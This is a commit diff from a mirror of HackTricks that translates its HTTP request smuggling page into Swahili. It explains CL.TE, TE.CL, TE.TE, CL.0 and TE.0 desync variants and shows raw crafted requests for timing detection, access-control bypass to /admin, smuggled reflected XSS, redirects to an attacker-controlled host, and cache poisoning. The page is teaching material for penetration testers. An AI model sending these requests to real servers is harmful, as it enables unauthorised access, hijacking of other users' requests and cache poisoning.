Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/http-request-smuggling/README.md'] to sw

Browse source
This commit is contained in:
Translator 2024-07-29 13:36:35 +00:00
parent b9e15130c2
commit d2e9ecbdab
1 changed files with 113 additions and 86 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

199
pentesting-web/http-request-smuggling/README.md
View file

@ -1,8 +1,8 @@
# HTTP Request Smuggling / HTTP Desync Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -33,42 +33,46 @@ Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa server ya b
**Transfer-Encoding: chunked**
> Kichwa cha Transfer-Encoding kinabainisha aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\
> Chunked inamaanisha kwamba data kubwa inatumwa kwa mfululizo wa vipande.
> Chunked inamaanisha kwamba data kubwa inatumwa kwa mfululizo wa vipande
### Reality
**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** nyingine ikisababisha **desyncronization** kati ya mifumo 2.\
Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambayo itatafsiriwa na **back-end** server **kama maombi 2 tofauti**. **Hatari** ya mbinu hii inatokana na ukweli kwamba **back-end** server **itaelewa** **ombile la 2 lililoingizwa** kana kwamba lilitoka kwa **mteja anayefuata** na **ombile halisi** la mteja huyo litakuwa **sehemu** ya **ombile lililoingizwa**.
Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambayo itatafsiriwa na **back-end** server **kama maombi 2 tofauti**. **Hatari** ya mbinu hii inatokana na ukweli kwamba **back-end** server **itaelewa** **ombile la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombile halisi** la mteja huyo litakuwa **sehemu** ya **ombile lililoingizwa**.
### Particularities
Kumbuka kwamba katika HTTP **herufi mpya inaundwa na bytes 2:**
Kumbuka kwamba katika HTTP **herufi mpya ya mstari inaundwa na bytes 2:**
* **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika herufi ya mwisho, **herufi mpya haitahitajika mwishoni mwa ombi**.
* **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** na **herufi mpya** lakini herufi hii mpya **haitahesabiwa** na kiashiria cha urefu. Mbinu hii ya uhamasishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatwa na herufi 2 mpya**: `0`
* **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la HTTP Request Smuggling.
* **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la ombi la Smuggling.
## Basic Examples
{% hint style="success" %}
Wakati wa kujaribu kutumia hii na Burp Suite **zima `Update Content-Length` na `Normalize HTTP/1 line endings`** katika repeater kwa sababu baadhi ya vifaa vinatumia herufi mpya, kurudi kwa gari na maudhui yasiyo sahihi ya urefu.
Wakati wa kujaribu kutumia hii na Burp Suite **zima `Update Content-Length` na `Normalize HTTP/1 line endings`** katika repeater kwa sababu baadhi ya vifaa vinatumia herufi mpya, kurudi kwa gari na maudhui yasiyo sahihi.
{% endhint %}
HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the `Content-Length` (CL) and `Transfer-Encoding` (TE) headers. These attacks can manifest in different forms, primarily as **CL.TE**, **TE.CL**, and **TE.TE**. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.
HTTP request smuggling attacks zinatengenezwa kwa kutuma maombi yasiyo na uwazi ambayo yanatumia tofauti katika jinsi front-end na back-end servers zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kuonekana katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi front-end na back-end servers zinavyopendelea vichwa hivi. Uthibitisho unatokana na servers kusindika ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na yanaweza kuwa ya uhalifu.
### Basic Examples of Vulnerability Types
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
{% hint style="info" %}
Katika jedwali la awali unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 lakini ukitumia Transfer Encoding.
{% endhint %}
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
* **Front-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
* **Back-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
* **Attack Scenario:**
* Mshambuliaji anatumia ombi ambapo thamani ya kichwa cha `Content-Length` haifanani na urefu halisi wa maudhui.
* **Kasi ya Shambulio:**
* Mshambuliaji anatumia ombi ambapo thamani ya kichwa cha `Content-Length` haitosheani na urefu halisi wa maudhui.
* Server ya front-end inapeleka ombi lote kwa back-end, kulingana na thamani ya `Content-Length`.
* Server ya back-end inasindika ombi kama kipande kutokana na kichwa cha `Transfer-Encoding: chunked`, ikitafsiri data iliyobaki kama ombi tofauti, linalofuata.
* **Example:**
* **Mfano:**
```
POST / HTTP/1.1
@ -87,11 +91,11 @@ Foo: x
* **Front-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
* **Back-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
* **Attack Scenario:**
* Mshambuliaji anatumia ombi la kipande ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havifanani.
* **Kasi ya Shambulio:**
* Mshambuliaji anatumia ombi lililosambazwa ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havikubaliani.
* Server ya front-end, ikiheshimu `Transfer-Encoding`, inapeleka ombi lote kwa back-end.
* Server ya back-end, ikiheshimu `Content-Length`, inasindika tu sehemu ya awali ya ombi (`7b` bytes), ikiacha iliyobaki kama sehemu ya ombi linalofuata lisilotarajiwa.
* **Example:**
* **Mfano:**
```
POST / HTTP/1.1
@ -114,11 +118,11 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
* **Servers:** Zote zinasaidia `Transfer-Encoding`, lakini moja inaweza kudanganywa kuipuuza kupitia obfuscation.
* **Attack Scenario:**
* Mshambuliaji anatumia ombi lenye kichwa cha `Transfer-Encoding` kilichofichwa.
* **Kasi ya Shambulio:**
* Mshambuliaji anatumia ombi lenye vichwa vya `Transfer-Encoding` vilivyojificha.
* Kulingana na server ipi (front-end au back-end) inashindwa kutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
* Sehemu isiyosindikwa ya ombi, kama inavyoonekana na moja ya servers, inakuwa sehemu ya ombi linalofuata, ikisababisha smuggling.
* **Example:**
* **Mfano:**
```
POST / HTTP/1.1
@ -137,11 +141,11 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End):**
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
* Servers zote zinashughulikia ombi kulingana na kichwa cha `Content-Length` pekee.
* Hali hii kwa kawaida haipelekei smuggling, kwani kuna ulinganifu katika jinsi servers zote zinavyotafsiri urefu wa ombi.
* **Example:**
* **Mfano:**
```
POST / HTTP/1.1
@ -152,11 +156,11 @@ Connection: keep-alive
Normal Request
```
#### **CL != 0 Scenario:**
#### **CL.0 Scenario**
* Inarejelea hali ambapo kichwa cha `Content-Length` kinapatikana na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui.
* Ni muhimu katika kuelewa na kuunda mashambulizi ya smuggling, kwani inaathiri jinsi servers zinavyotambua mwisho wa ombi.
* **Example:**
* Inarejelea hali ambapo kichwa cha `Content-Length` kinapatikana na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakisoma.
* Ni muhimu katika kuelewa na kutengeneza mashambulizi ya smuggling, kwani inaathiri jinsi servers zinavyotambua mwisho wa ombi.
* **Mfano:**
```
POST / HTTP/1.1
@ -167,33 +171,55 @@ Connection: keep-alive
Non-Empty Body
```
#### Breaking the web server
#### TE.0 Scenario
Mbinu hii pia ni muhimu katika hali ambapo inawezekana **kuvunja server ya wavuti wakati wa kusoma data ya awali ya HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **mwili** wa ombi la HTTP utaonekana kama **ombile linalofuata la HTTP**.
* Kama ile ya awali lakini ikitumia TE
* Mbinu [iliyorekodiwa hapa](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **Mfano**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya **Unicode** herufi na itafanya server **kuvunja**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombile linalofuata la HTTP**.
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Kuvunja seva ya wavuti
#### Forcing via hop-by-hop headers
Teknolojia hii pia ni muhimu katika hali ambapo inawezekana **kuvunja seva ya wavuti wakati wa kusoma data ya awali ya HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **mwili** wa ombi la HTTP utaonekana kama **ombio la HTTP linalofuata**.
Kwa kutumia vibaya vichwa vya hop-by-hop unaweza kuonyesha proxy **kufuta kichwa cha Content-Length au Transfer-Encoding ili smuggling ya HTTP iwezekane kutumika**.
Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twisty-python), Katika Werkzeug ilikuwa inawezekana kutuma baadhi ya **Unicode** wahusika na itafanya seva **ivunje**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.
#### Kulazimisha kupitia vichwa vya hop-by-hop
Kutatiza vichwa vya hop-by-hop unaweza kuonyesha proxy **kufuta kichwa cha Content-Length au Transfer-Encoding ili ombi la HTTP smuggling liweze kutumika vibaya**.
```
Connection: Content-Length
```
For **more information about hop-by-hop headers** visit:
For **maelezo zaidi kuhusu hop-by-hop headers** tembelea:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## Finding HTTP Request Smuggling
## Kupata HTTP Request Smuggling
Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kutafuta udhaifu kama huo:
Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu hasa katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo:
### Finding CL.TE Vulnerabilities Using Timing Techniques
### Kupata Udhaifu wa CL.TE kwa Kutumia Mbinu za Wakati
* **Method:**
* **Mbinu:**
* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
* **Example:**
* **Mfano:**
```
POST / HTTP/1.1
@ -206,18 +232,18 @@ Content-Length: 4
A
0
```
* **Observation:**
* **Uchunguzi:**
* Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na kukata ujumbe mapema.
* Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haitafika, na kusababisha kuchelewesha.
* **Indicators:**
* Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haitafika, ikisababisha kuchelewesha.
* **Dalili:**
* Timeout au ucheleweshaji mrefu katika majibu.
* Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, wakati mwingine na maelezo ya kina ya seva.
* Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, wakati mwingine ikiwa na maelezo ya kina ya seva.
### Finding TE.CL Vulnerabilities Using Timing Techniques
### Kupata Udhaifu wa TE.CL kwa Kutumia Mbinu za Wakati
* **Method:**
* **Mbinu:**
* Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi.
* **Example:**
* **Mfano:**
```
POST / HTTP/1.1
@ -229,44 +255,44 @@ Content-Length: 6
0
X
```
* **Observation:**
* **Uchunguzi:**
* Seva ya mbele inashughulikia ombi kulingana na `Transfer-Encoding` na inapeleka ujumbe mzima.
* Seva ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haitafika, na kusababisha kuchelewesha.
* Seva ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data zaidi ambayo haitafika, ikisababisha kuchelewesha.
### Other Methods to Find Vulnerabilities
### Mbinu Nyingine za Kupata Udhaifu
* **Differential Response Analysis:**
* **Uchambuzi wa Majibu Tofauti:**
* Tuma toleo lililobadilishwa kidogo la ombi na uangalie ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha tofauti ya uchambuzi.
* **Using Automated Tools:**
* Zana kama Burp Suite's 'HTTP Request Smuggler' extension zinaweza kujaribu kiotomatiki udhaifu hawa kwa kutuma aina mbalimbali za maombi yasiyo na uwazi na kuchambua majibu.
* **Content-Length Variance Tests:**
* **Kutumia Zana za Kiotomatiki:**
* Zana kama vile Burp Suite's 'HTTP Request Smuggler' nyongeza zinaweza kujaribu kiotomatiki udhaifu hizi kwa kutuma aina mbalimbali za maombi yasiyo na uwazi na kuchambua majibu.
* **Majaribio ya Tofauti za Content-Length:**
* Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi seva inavyoshughulikia tofauti hizo.
* **Transfer-Encoding Variance Tests:**
* **Majaribio ya Tofauti za Transfer-Encoding:**
* Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichwa au visivyo sahihi na uangalie jinsi seva za mbele na za nyuma zinavyoshughulikia mabadiliko kama hayo.
### HTTP Request Smuggling Vulnerability Testing
### Upimaji wa Udhaifu wa HTTP Request Smuggling
Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kubadilishwa. Njia rahisi ni kujaribu kuharibu maombi yako, kwa mfano, kufanya ombi kwa `/` kuleta jibu la 404. Mifano ya `CL.TE` na `TE.CL` zilizozungumziwa hapo awali katika [Basic Examples](./#basic-examples) zinaonyesha jinsi ya kuharibu ombi la mteja ili kuleta jibu la 404, licha ya mteja kutaka kufikia rasilimali tofauti.
Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kubadilishwa. Mbinu rahisi ni kujaribu kuharibu maombi yako, kwa mfano, kufanya ombi kwa `/` kuleta jibu la 404. Mifano ya `CL.TE` na `TE.CL` zilizozungumziwa hapo awali katika [Mifano ya Msingi](./#basic-examples) zinaonyesha jinsi ya kuharibu ombi la mteja ili kuleta jibu la 404, licha ya mteja kutaka kufikia rasilimali tofauti.
**Key Considerations**
**Mambo Muhimu ya Kuangalia**
Wakati wa kujaribu udhaifu wa request smuggling kwa kuingilia maombi mengine, kumbuka:
Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumbuka:
* **Distinct Network Connections:** Maombi ya "shambulio" na "ya kawaida" yanapaswa kutumwa kupitia muunganisho tofauti wa mtandao. Kutumia muunganisho mmoja kwa yote mawili hakuthibitishi uwepo wa udhaifu.
* **Consistent URL and Parameters:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunaongeza uwezekano kwamba maombi yote mawili yanashughulikiwa na seva moja, ambayo ni sharti la shambulio lililofanikiwa.
* **Timing and Racing Conditions:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
* **Load Balancing Challenges:** Seva za mbele zinazofanya kazi kama wasambazaji wa mzigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "ya kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Kipengele hiki cha usambazaji wa mzigo kinaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
* **Unintended User Impact:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitajika kuwa na mbinu ya tahadhari.
* **Mawasiliano Tofauti ya Mtandao:** "Shambulio" na "maombi ya kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia muunganisho mmoja kwa yote mawili hakuthibitishi uwepo wa udhaifu.
* **URL na Vigezo Vinavyolingana:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunapanua uwezekano kwamba maombi yote mawili yanashughulikiwa na seva moja, ambayo ni sharti la shambulio lililofanikiwa.
* **Muda na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu.
* **Changamoto za Usambazaji wa Mizigo:** Seva za mbele zinazofanya kazi kama wasambazaji wa mizigo zinaweza kugawa maombi kati ya mifumo mbalimbali ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanakutana kwenye mifumo tofauti, shambulio halitafanikiwa. Kipengele hiki cha usambazaji wa mizigo kinaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
* **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa ajili ya kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Kujaribu mara kwa mara kunaweza kuharibu watumiaji wengine, hivyo inahitaji mbinu ya tahadhari.
## Abusing HTTP Request Smuggling
## Kutumia HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
### Kupita Usalama wa Seva za Mbele kupitia HTTP Request Smuggling
Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupuuziliwa mbali kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kupuuzilia mbali kuangalia maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, ikiacha pengo la kupita marufuku haya.
Wakati mwingine, proxies za mbele zinaweka hatua za usalama, zikichunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwa maeneo yaliyopigwa marufuku. Kwa mfano, kufikia `/admin` kunaweza kuwa marufuku nje, huku proxy ya mbele ikizuia juhudi kama hizo. Hata hivyo, proxy hii inaweza kukosa kukagua maombi yaliyojumuishwa ndani ya ombi la HTTP lililosafirishwa, ikiacha pengo la kupita marufuku hizi.
Fikiria mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inaweza kutumika kupita hatua za usalama za mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:
Fikiria mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inaweza kutumika kupita udhibiti wa usalama wa mbele, hasa ikilenga njia ya `/admin` ambayo kwa kawaida inalindwa na proxy ya mbele:
**CL.TE Example**
**Mfano wa CL.TE**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -305,7 +331,7 @@ Kinyume chake, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Tra
### Kufichua uandishi wa ombi la mbele <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Programu mara nyingi hutumia **seva ya mbele** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Marekebisho ya kawaida yanajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani kunaweza kufichua njia za **kuzidi ulinzi** au **kufichua taarifa au maeneo yaliyofichwa**.
Programu mara nyingi hutumia **seva ya mbele** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Marekebisho ya kawaida yanajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani kunaweza kufichua njia za **kuzidi kulinda** au **kufichua taarifa au maeneo yaliyofichwa**.
Ili kuchunguza jinsi proxy inavyobadilisha ombi, pata parameter ya POST ambayo seva ya nyuma inarudisha katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, kama ifuatavyo:
```
@ -324,11 +350,11 @@ Content-Length: 100
search=
```
Katika muundo huu, vipengele vya ombi vinavyofuata vinaongezwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi la baadaye.
Katika muundo huu, vipengele vya ombi vinavyofuata vinatolewa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Hii itafichua vichwa vya ombi la baadaye.
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililo ndani na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongezeka taratibu ni bora, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililozungukwa na urefu halisi wa maudhui. Kuanzia na thamani ndogo na kuongeza taratibu inashauriwa, kwani thamani ya chini sana itakata data iliyojitokeza, wakati thamani ya juu sana inaweza kusababisha ombi kufeli.
Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji.
Teknolojia hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa newline, thamani zitajumuishwa kwenye parameter ya utafutaji.
Njia hii hasa inatumika kuelewa mabadiliko ya ombi yaliyofanywa na proxy ya mbele, kimsingi ikifanya uchunguzi wa kujiongoza.
@ -396,12 +422,12 @@ This payload is structured to exploit the vulnerability by:
2. Kufuatia na `0`, ikionyesha mwisho wa ujumbe wa chunked.
3. Kisha, ombi la smuggling `GET` linaanzishwa, ambapo kichwa cha `User-Agent` kinatolewa na script, `<script>alert(1)</script>`, ikichochea XSS wakati seva inashughulikia ombi hili linalofuata.
Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kawaida vya ombi, hivyo ikitumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
Kwa kubadilisha `User-Agent` kupitia smuggling, payload inakwepa vikwazo vya kawaida vya ombi, hivyo inatumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
#### HTTP/0.9
{% hint style="danger" %}
Ikiwa maudhui ya mtumiaji yanarejelewa katika jibu lenye **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa seva inasaidia **HTTP/0.9 inaweza kuwa inawezekana kupita hii**!
Katika kesi ambapo maudhui ya mtumiaji yanarejelewa katika jibu lenye **`Content-type`** kama **`text/plain`**, kuzuia utekelezaji wa XSS. Ikiwa seva inasaidia **HTTP/0.9 inaweza kuwa inawezekana kupita hii**!
{% endhint %}
Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu **GET** verbs na **halijibu** na **headers**, bali tu mwili.
@ -434,7 +460,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji linalofuatia kushughulikiwa kuhamasishwa kwa tovuti inayodhibitiwa na mshambuliaji:
Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji linalofuatia kushughulikiwa kuhamasishwa kwenye tovuti inayodhibitiwa na mshambuliaji:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -452,11 +478,11 @@ Katika hali hii, ombi la mtumiaji la faili la JavaScript linachukuliwa. Mshambul
Upoisonaji wa kivinjari cha mtandao unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi maudhui**, kawaida ili kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuponya kivinjari**.
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, inawezekana kumdanganya seva kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (rejelea [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, inawezekana kudanganya seva kutoa maudhui ya `/index.html` kama jibu la ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa katika kivinjari na yale ya `/index.html`, na kufanya `/static/include.js` isiweze kupatikana kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
Teknolojia hii inakuwa na nguvu hasa ikiwa kuna **udhaifu wa Open Redirect** ulio gundulika au ikiwa kuna **mwelekeo wa ndani kwa mwelekeo wazi**. Udhaifu kama huu unaweza kutumiwa kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, kwa msingi inaruhusu shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaotafuta `/static/include.js` iliyosasishwa.
